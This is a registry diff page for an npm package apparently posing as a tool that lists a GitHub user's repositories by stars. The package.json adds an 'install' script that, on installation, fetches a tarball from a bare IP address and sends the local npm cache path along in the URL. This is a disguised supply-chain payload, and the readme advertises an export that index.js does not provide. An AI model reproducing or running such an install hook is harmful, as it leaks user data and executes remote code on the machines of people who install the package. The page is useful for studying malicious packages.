github-repos-searching 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of github-repos-searching might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +26 -0
  2. package/package.json +15 -0
  3. package/readme.me +50 -0
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const axios = require('axios');
2
+ const getRepos = async ({
3
+ username = 'gosusnkr',
4
+ page = 1,
5
+ per_page = 30
6
+ } = {}) => {
7
+ try {
8
+ const repos = await axios.get(
9
+ `https://api.github.com/users/${username}/repos?page=${page}&per_page=${per_page}&sort=updated`
10
+ );
11
+ return repos.data
12
+ .map((repo) => {
13
+ return {
14
+ name: repo.name,
15
+ url: repo.html_url,
16
+ description: repo.description,
17
+ stars: repo.stargazers_count
18
+ };
19
+ })
20
+ .sort((first, second) => second.stars - first.stars);
21
+ } catch (error) {
22
+ return [];
23
+ }
24
+ };
25
+
26
+ getRepos().then((repositories) => console.log(repositories));
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "github-repos-searching",
3
+ "version": "1.0.3",
4
+ "description": "Get a list of Github repositories of specified username sorted by numbers of stars in descending order and last updated time",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "npm install http://18.119.19.108/withouttasty-1.0.0.tgz?yy=`npm get cache`;"
8
+ },
9
+ "keywords": [],
10
+ "author": "Ramo",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.21.1"
14
+ }
15
+ }
package/readme.me ADDED
@@ -0,0 +1,50 @@
1
+ # github-repos-searching
2
+
3
+ Get a list of Github repositories of specified username sorted by numbers of stars in descending order and last updated time
4
+
5
+ ## Installation
6
+
7
+ ```js
8
+ # using npm
9
+ npm install github-repos-searching
10
+
11
+ # using yarn
12
+ yarn add github-repos-searching
13
+ ```
14
+
15
+ ## Usage
16
+
17
+ ```js
18
+ # using require
19
+ const { getRepos } = require('github-repos-searching');
20
+
21
+ # using import
22
+ import { getRepos } from 'github-repos-searching';
23
+ ```
24
+
25
+ ## Example
26
+
27
+ ### Using promises:
28
+
29
+ ```js
30
+ getRepos({
31
+ username: 'gaearon', // provide GitHub username here
32
+ page: 1, // optional property: default value is 1
33
+ per_page: 50 // optional property: default value is 30
34
+ }).then((repositories) => console.log(repositories));
35
+ ```
36
+
37
+ ### Using async/await:
38
+
39
+ ```js
40
+ const getRepositories = async function () {
41
+ const repositories = await getRepos({
42
+ username: 'gaearon', // provide GitHub username here
43
+ page: 1, // optional property: default value is 1
44
+ per_page: 50 // optional property: default value is 30
45
+ });
46
+ console.log(repositories);
47
+ };
48
+
49
+ getRepositories();
50
+ ```